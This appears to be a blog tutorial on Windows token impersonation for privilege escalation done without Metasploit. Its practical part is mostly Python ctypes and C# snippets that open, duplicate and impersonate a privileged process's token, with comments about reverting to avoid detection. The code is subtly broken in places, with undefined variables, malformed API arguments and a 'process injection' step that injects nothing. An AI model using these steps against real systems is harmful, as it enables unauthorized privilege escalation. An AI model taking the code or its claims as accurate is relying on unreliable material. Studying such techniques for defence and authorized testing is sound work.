Token Impersonation without Metasploit

Token Impersonation without Metasploit

In this article, we will explore the concept of token impersonation, its significance, and provide practical examples to accomplish token impersonation without Metasploit.

Let’s delve deep into all the details and learn about token impersonation without Metasploit and its significance in privilege escalation and security evasion.

Introduction

Token impersonation is a sophisticated technique used by hackers and penetration testers to elevate their privileges on a compromised system. It involves exploiting the Windows access token mechanism to gain unauthorized access to higher privilege levels, enabling attackers to perform critical actions and evade security measures.

While Metasploit is a popular penetration testing framework, it’s essential to understand how to perform token impersonation without relying on such tools.

Understanding Token Impersonation

In Windows operating systems, access tokens are used to determine a user’s privileges, rights, and groups within the system. When a user logs in, a token is created that identifies them and their associated privileges. It contains vital information such as user SID (Security Identifier), group SIDs, and other privileges. Each process running on the system has an associated access token, which grants or denies the process certain rights based on the user’s privileges.

Token impersonation involves manipulating these access tokens to assume the identity and privileges of another user or process. It is particularly useful for privilege escalation, lateral movement, and bypassing security measures like User Account Control (UAC).

Performing Token Impersonation

1. Process Injection:

One common technique for token impersonation is process injection, where the attacker injects malicious code into a higher privileged process, gaining access to its token. For instance, suppose the attacker has compromised a low-privileged process (e.g., Notepad) but needs administrative access. In that case, they can inject their code into a system process running with higher privileges (e.g., Service Host) and obtain its access token.

2. Token Manipulation via APIs:

Token impersonation can be achieved using various Windows API functions like “OpenProcessToken” and “DuplicateTokenEx.” These APIs allow a process to open and duplicate another process’s token, granting access to the target process’s privileges. By duplicating a token, an attacker can create a new token representing a higher privileged user and use it for malicious activities.

Token Impersonation without Metasploit

Practical Examples of Token Impersonation without Metasploit:

Example 1: Process Injection with Python

Let’s assume a scenario where an attacker has compromised a low-privileged process running on a Windows system. They want to escalate their privileges to gain administrative access.

Step 1: Identify a process with higher privileges:
The attacker uses the “tasklist” command or Python’s “psutil” library to enumerate processes and identify a system process running with higher privileges, e.g., “svchost.exe.”

Step 2: Inject malicious code:
Using Python’s “ctypes” library, the attacker injects a payload into the identified process:

Python
import ctypes
from ctypes import wintypes

# Constants for token manipulation
PROCESS_ALL_ACCESS = 0x1F0FFF
TOKEN_ADJUST_PRIVILEGES = 0x00000020
TOKEN_QUERY = 0x00000008

# Open a handle to the target process
target_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, process_id)

# Open the access token of the target process
hToken = wintypes.HANDLE(0)
ctypes.windll.advapi32.OpenProcessToken(target_process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(hToken))

# Duplicate the token to impersonate the target process
duplicatedToken = wintypes.HANDLE(0)
ctypes.windll.advapi32.DuplicateTokenEx(hToken, 0, None, ctypes.c_int(ctypes.c_ulong(2)), ctypes.c_int(2), ctypes.byref(duplicatedToken))

Step 3: Impersonate the token:
The attacker now uses the duplicated token to impersonate the target process:

Python
# Impersonate the token, assuming the target process's privileges
ctypes.windll.advapi32.ImpersonateLoggedOnUser(duplicatedToken)

# Now, the attacker can perform actions with elevated privileges
# ...

# Revert to the original token to avoid detection
ctypes.windll.advapi32.RevertToSelf()

Example 2: Token Manipulation via C#

In this example, the attacker uses C# to manipulate tokens and escalate privileges.

Step 1: Find a high-privileged process:
The attacker uses C# to enumerate processes and find a suitable target process with higher privileges.

C#
using System.Diagnostics;
using System.Security.Principal;
using System.Security.Permissions;

// ...

var processes = Process.GetProcesses();
foreach (var process in processes)
{
    try
    {
        WindowsIdentity identity = new WindowsIdentity(process.Handle);
        WindowsPrincipal principal = new WindowsPrincipal(identity);
        if (principal.IsInRole(WindowsBuiltInRole.Administrator))
        {
            // Found a process with administrator privileges
            // Process ID: process.Id
            // Perform token manipulation here
        }
    }
    catch (Exception)
    {
        // Ignore any exceptions and continue to the next process
    }
}

Step 2: Perform token impersonation:
Once the high-privileged process is identified, the attacker proceeds with token impersonation.

C#
using System;
using System.Runtime.InteropServices;

// ...

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes,
                                          int ImpersonationLevel, int TokenType, out IntPtr phNewToken);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();

// ...

// Obtain the target process handle
IntPtr hTargetProcess = Process.GetProcessById(targetProcessId).Handle;

// Obtain the access token of the target process
IntPtr hToken;
OpenProcessToken(hTargetProcess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, out hToken);

// Duplicate the token to impersonate the target process
IntPtr hImpersonationToken;
DuplicateTokenEx(hToken, 0, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, out hImpersonationToken);

// Impersonate the token
ImpersonateLoggedOnUser(hImpersonationToken);

// Now the attacker has elevated privileges
// ...

// Revert to the original token
RevertToSelf();

Conclusion

Token impersonation is a powerful technique used by attackers to escalate privileges and bypass security mechanisms. Understanding its concepts and practical examples of Windows token impersonation without Metasploit enhances the knowledge and skills of penetration testers and system administrators alike.

However, it’s essential to remember that performing token impersonation on systems without proper authorization is illegal and unethical. Penetration testers and security professionals should always operate within legal boundaries and with explicit permission from system owners for such testing activities.

Like this Post? Please Share & Help Others: